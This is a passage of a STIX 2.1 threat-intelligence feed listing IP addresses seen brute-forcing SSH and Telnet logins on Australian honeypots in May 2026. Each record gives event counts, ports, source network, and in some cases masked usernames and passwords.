      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.62.41.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KH. ASN(s): 9902. Organisation(s): NEOCOMISP LIMITED, IPTX Transit and Network Service Provider in Cambodia..",
      "id": "indicator--c49fa08e-a233-444c-a841-827635a7efc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.179.45.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--8e8cb263-8809-4b38-88ea-f2d8868b6d02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f42ecb93-cbb5-4992-872e-47625f2ab342",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.77.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--b635d4ed-e1d5-4c6e-a471-23d71871b3ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.17.68.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--441ebbcb-f2e0-4732-be07-efede0109317",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--d251559d-9fc3-48ca-8d69-938cfc1eae28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--5c736412-8631-407f-b821-71de8ae78fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.34.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): g***k. Passwords observed (masked): 1****6.",
      "id": "indicator--3b9ff70d-8223-4769-9aae-16f2e6f66385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.205.37.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--69dfdb82-40b4-48b8-b04a-374aa277250c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.111.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 36958. Organisation(s): Cable & Wireless (Seychelles). Usernames observed (masked): c****e. Passwords observed (masked): C*********!.",
      "id": "indicator--1288273f-451a-4a9d-8629-bbe9a3c38c66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.86.34.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): u***1. Passwords observed (masked): q*******3.",
      "id": "indicator--62a020eb-0cf9-4012-acd9-df4babaf5c7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.231.249.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:15:12.000Z",
      "valid_until": "2026-06-21T13:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--4edf3981-5259-4a39-886b-a806293e834c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.119.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 9443. Organisation(s): Vocus Retail.",
      "id": "indicator--98d8a95f-13b7-4890-a9b3-42d32b1a08ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.151.83.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--59afd7dc-2ad4-483a-8f2e-0e7f363d6173",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.207.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--4c8fc8cc-9aa0-480b-80fa-11e6bc545721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.34.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--3a59a158-f8e6-4a02-b519-e0361f90979b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a454f0f3-2d0c-4bd9-80ff-1b352e64f7a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.29.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ce9c88fa-15f6-4aff-b065-2d2b8289d557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.66.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--410e3261-b4ee-4ea1-a3f9-b8f84775bc29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.110.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c7748f53-6157-4337-bee3-2eab8a4e083f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.60.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18049. Organisation(s): Taiwan Infrastructure Network Technologie.",
      "id": "indicator--5bbcd8d2-795b-4adc-ad69-1ef3f4537dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.198.110.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T14:16:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--82b36727-89cb-4e0c-9280-dc6237592bb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:16:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:16:16.000Z",
      "valid_until": "2026-06-21T14:15:08.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, A*******., n********0.",
      "id": "indicator--1e0cd283-5c76-4396-8678-7d41309671f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.152.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d92aae01-87b3-4ce9-b89e-4516c0ac4a81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.211.141.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--09c51a29-6a2f-4feb-a8f0-0e1950cbd2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.108.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ae961280-1bd7-4889-b065-c59836d0c646",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.115.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cc435601-46ba-44e5-9da8-5bf87200f0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.245.141.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52268. Organisation(s): COPELCO LTDA. CUTRAL-CO.",
      "id": "indicator--22b966bb-6fe7-4903-a3e4-747a54af27ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.59.168.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--54e0cbfb-309f-458d-9c27-e974f0c352d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.184.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--f98e9b98-402c-4180-9177-6aacd73b2692",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--eac9b527-0912-4a1a-b775-e2fa6aafed83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.55.19.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--b80a77f8-914a-4015-b38e-921fa5e31ecf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.224.179.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T15:18:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 48438. Organisation(s): Corbina Telecom Llc..",
      "id": "indicator--597bc984-eee7-40c2-a549-a43a85d31464",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T15:18:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.210.251.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T15:18:06.000Z",
      "valid_until": "2026-06-21T15:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 51375. Organisation(s): Stc Bahrain B.s.c Closed.",
      "id": "indicator--6a7638d4-fd66-4b26-844d-a94acd9e2951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.63.118.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cbfad283-4c6d-47e8-85ca-338ba0eecc8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.167.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e0442d2a-1ece-490c-a8e2-e0423269cf4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
